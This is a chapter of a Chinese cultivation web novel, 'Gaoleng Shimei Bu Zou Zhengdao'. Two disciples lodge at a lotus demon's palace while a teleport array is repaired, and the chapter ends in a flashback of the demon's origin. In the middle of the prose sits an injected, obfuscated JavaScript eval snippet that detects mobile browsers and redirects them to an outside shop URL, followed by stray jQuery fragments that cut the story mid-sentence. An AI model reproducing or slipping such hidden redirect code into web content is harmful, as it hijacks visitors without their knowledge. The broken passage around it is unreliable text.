14. 清风鉴水,明月天衣

作品:《高冷师妹不走正道

    又过了几日,流霄见长矜恢复得差不多了,就准备动身往暨山去。


    这边离暨山隔着无灭海,没有元婴的修为是不能独自穿越的,只得找这附近的千秋宫的传送阵才能回去暨山。


    这一次去的不是上次的连接凡尘地带的千秋宫,而是另一座。


    刚到这千秋宫山脚下,就见两个身着齐襦裙的女子行礼带着往山上走。


    这一处虽仍在山顶,但这风景分外秀美,水多池清,缀着许许多多的荷花,清香扑鼻。路上也见同样很多装扮的女子在路上行色匆匆。


    那两名女子把流霄和长矜带到主殿上就退了下去。


    “为何这里和上次那处千秋宫这般不同?”长矜悄声问。


    “这里的千秋宫宫主是个极为讲究且厉害的女修士,叫白卿卿,这处千秋宫就是归她管。”流霄解释道。“说是前不久才调到这来的,只是她名声响,我也略有耳闻。”


    他话音刚落,就听见一女子铃声般清脆的笑声从殿后传来:“流霄道友谬赞,奴家可比不得你这等天骄。能被你知晓,那也是奴家的福分。”


    一身着白色繁复衣裙的女子从里头走出来,面容清秀,多一分便娇媚,少一分却寡淡,十分恰到好处的美。


    长矜又闻到她身上那股路上闻到一样的清香,只是更加浓郁,并不让人讨厌。


    白卿卿见到流霄身后的长矜,略一挑眉,问道:“流霄道友,你身后这位是?”


    流霄先见礼,才说:“这是我尚未正式入门的小师妹,此趟正是和我一道借千秋宫的传送阵回暨山,麻烦宫主行个方便。”


    白卿卿却脸上露出几分尴尬来,拿起袖子遮了一下面。


    她说道:“流霄道友,这正是不巧了。这传送阵前些日子被上水宗的弟子晚上打斗不慎毁了一些边角,如今不稳定。还不敢让你们用。奴家这宫中的阵师还在修缮。你们还需等上两三日。”


    这一处还偏偏只有这一个千秋宫的传送阵能抵达暨山的地界。


    流霄也不急,只说:“无妨,那我们再等上两三日便是,只是要叨扰宫主了。”


    “流霄道友不怪罪便好,哪里有什么叨扰之说,宫外那两个弟子会带你们去住处的。只望道友喜欢这片还算清净的地方。”白卿卿抿唇一笑,就告辞去殿后了。


    于是又被那两名女子领着在这里住下。


    这里大片大片都是水池,搭建了不少木桥从水池中穿过,种了满水池的荷花,未开半开全开的都有,风中摇曳着舒展,荷叶里的水珠晶莹如宝石滚圆。


    长矜喜欢这里,很舒服的气息。


    他们的住处后面还有一扇纱门,打开就是一个小竹台和一池荷花荡漾,小竹台上有一张软榻和一方放着茶具的矮桌。如此巧思如此灵秀。


    长矜已经窝在小竹台上不松手。流霄无奈一笑,就也坐在旁边歇息。


    长矜见他不走,还有些诧异,问:“你怎么不去你自己的地方?”


    他说道:“我和你住一处,那白卿卿是荷花妖。她很早之前就是有名的金丹圆满修士了。”


    长矜一下子由躺变坐,眉毛拧住,神色郁郁。


    “怎么了?”流霄问。


    长矜抬头看了一眼水池的荷花,低语说:“荷花妖啊……可是要突破了?”


    流霄看了她一眼,说道:“金丹修士突破绝非如此简单。那阵法我觉得有几分不对,我今夜里去查探一番。你凡事小心,如有不对就催动悟道剑式。”


    长矜点点头:“最近事情来得有些多了。”


    岂止她有这种感觉,流霄自从带上她,就没享过几天清净日子。


    他微一沉吟,说道:“白卿卿是正经妖修出身,应不会有旁的事。我现在已随时可入金丹了,也有应付麻烦的能力。等传送阵修好了我们就回去。”


    长矜就又躺下,想去拨弄一旁伸得老长的荷叶边,却总是差一点。


    流霄瞥了一眼,引了缕道气把荷叶吹到长矜手里,只是力道没把握住,荷叶里几粒滚动的水珠弹到长矜脸上,又顺着长矜莹白的脸落下来,像是流泪。


    他看得一时怔住,眼睛垂下来,也不打坐修行,只是无话地坐着,竟难得有些放松。


    自从杀了那问心幻鬼之后,他开始频繁修行入梦。


    梦里自己在一片荒寂里拾什么东西,只觉得分外疼痛。


    而刚刚他竟有些恍惚。


    长矜突然开口:“师兄,我听那妖物说你是道心不全才入不了无情道,现下是寻回了?”


    流霄摇头道:“并非如此。也不是它做的手脚,是我自己多了一段记忆。”


    闻言长矜侧头过来看他,心下已有了答案,说道:“那段曲调?”


    流霄沉默了一息,说道:“我在境中听到那段曲调,只觉得很熟悉,但却无论如何也不知何时听到过。再打算入金丹时发觉少了一段契机,无情道再没有回应过我。”


    长矜眼睫轻轻颤了颤,问:“如今入金丹还是无情道?”


    流霄却道不是。


    时间静默地几近凝固,过了很久流霄才听到长矜低语着喊:“师兄。”


    流霄应了一声。


    “那日你接引我入道时,我梦见我择修无情道,死在了入金丹那天。”长矜说道。


    流霄说道:“梦往往是一种映射,也许是在暗示你与无情道无缘。此道少有人能得青睐,我有时也会想或许正是暗示着天道并不钟爱此道,这一遭也是想通了不强求。”


    “我第一次入问心境时得了不入红尘之人不得入的谶言,或许也是在说须识得情方能无情,故我无法问心。”


    “择道终究是自己的事情,无论何道都须最合心中所想,否则无法渡劫。”


    长矜想了想,说道:“师兄说得极是。你没有什么要问我的吗?”


    流霄看着长矜那精巧的发髻,一看便知不是她的手笔,是那只女鬼给她梳妆打扮的。


    他淡淡笑了笑,道:“师兄知道你心里有很多不愿说的隐秘,若是择谎话骗我,就还是不说罢了。既入暨山,已有师门情分,我便会尽全力护你周全。”


    长矜恶向胆边生,尖锐地问道:“那这周全里到底是情分还是因果?”


    流霄却不再答。长矜了然,却不意外。她说道:“我身上负诸多因果,天下凡是妖鬼一道于我皆是道敌。”


    “正如师兄天生择无情道,我亦是半身性命系于妖鬼道。因着此事,我自小通读阵法一类,可惜无修为,只懂解法。师兄夜里去查探阵法之时可捎上我。”


    流霄道一句已知晓。


    夜里长矜到里面休息,流霄就在小竹台的纱门旁打坐守着。


    今夜无云月明风清,照得一池波光粼粼。


    长矜在床上趴着玩头发,月光隐隐绰绰间照见床架上一道刻痕。


    长矜眯眼看着,一字一顿念出来:“兰因絮果……”


    “怎么了?”流霄听见动静问道。


    长矜回道:“没什么。”她伸手摸了摸那刻痕,不像刀刻的,痕迹凌乱不平整,倒像是用指甲抠出来的。


    夜深了。流霄进来扶起在床上歪歪扭扭躺着的长矜,见她困得眼睛都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062045|195061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睁不开,说道:“不若我去看一眼就回来?”


    长矜意识混沌随便嗯了两句。


    流霄便又一手扶住她肩一手掌住她半张脸把人放下去。


    待收手时又是一手汗湿。流霄旋一缕道气附上她周身去热,又布好外头的护体阵便离去。


    外头有些风,吹得水浪翻卷,荷叶荷花摇摇晃晃层层堆叠,长矜听见很远很远的吟唱声。


    “荷花十里,清风鉴水,明月天衣……”


    她腕上的烛阴鞭摇了摇,一枚红点从那行刻字里飘出来,没入长矜眉心。


    此山巍峨,层峦叠嶂,相竞争高,林深溪浅,盎雅色粼粼。


    冷僻幽谷处,生得一株千幻百生莲。此莲临千年之界,天资卓绝自生灵智,引来天地异象,修得人形。


    只是时候不好,她成妖之际正正好碰上人类,但时机耽误不得,只祈盼着这人天生有好生之德,亦无意阻她成妖修道。


    上天好像真的开眼了。那背上压刀,浓眉桃花眼的青年真就只是看着她吞吐道气,孕育灵机。


    直至她修成人形,他也规规矩矩没动手。


    这莲妖生怕他立刻使手段拘住她,一落地就冲他发一道幻术眯眼片刻慌忙逃去。


    此时乃洞天开放,各宗弟子鱼贯而入烧杀掠夺此界,见此异象就明白有好东西,都来寻她踪迹。


    好在她幻术了得,寻常人不能抵御,杀了一正追杀她的女子后迅速吸食魂魄记忆,再化作人类混入其中。


    众人寻物无果后前去其他地界争取机缘,但她还尚懵懂,不知这些人里有真正的厉害人物。


    她还沾沾自喜自己的手段高超,就立刻被一枚暗器击中后腰现出妖身,一枚金光熠熠的圆球投掷而来,把她拘在其中。


    那行踪诡秘的男子观察了她许久,终于出手用一枚金衍两仪球拘住她,嗤笑说道:“小小妖物,还敢混入人其中,不知天高地厚。”


    那两仪球运作起来,业火裹住球身,她疼得惨叫起来,感觉到自己正在被炼化,惊恐喊道:“放开我!”


    她根本没什么修为,不过一宝贵灵物方成妖,位格也低的可怜,毫无反抗之力。


    她两眼泪汪汪,心想早知还不如被最开始那修士带走。


    就在她思绪飞转间,一柄刀猛地飞掷而来,刀尖卡在两仪球的缝隙里,离她仅毫厘之差。


    那刀尖于她眼中凝成一点,还在运作的两仪球被这一刀卡住。


    两仪球内的灼灼燃烧的焰火熄了下去,不再旋转运作,她也得了喘息之机。


    只见她最开始见到的那青年修士不知从哪追来,混不吝笑道:“道友,凡事总有个先来后到,我先看到这蠢妖的,那便是我所有之物。”


    她虽生气于这蠢人口中的蠢妖是指她,也发作不得。


    只因她若是在两仪球中定是死路一条,连忙喊道:“对对对!我本是最先看到他的!要死也是他的妖!不准杀我!”


    那青年愣了一下,差点笑得直不起腰来。


    手持两仪球之人名唤刘煜,是长风派弟子,听着这无依据一副不给就明抢的做派脸色阴沉下来。


    他冷笑道:“暨山的人不是号称最有正派作风吗?如今看到点好东西就脸皮都不要了?想要的就来抢啊,还指望我拱手恭恭敬敬送与你不成!”


    他周身道气一震,弹开那刀,脚下运起步法直接逃离而去。


    白溯都做好准备和他打一场了,见他毫不犹豫一点打斗欲望转身就逃还在原地发愣了一瞬才反应过来纵身追去,叹道:“果真是不该太出风头的。”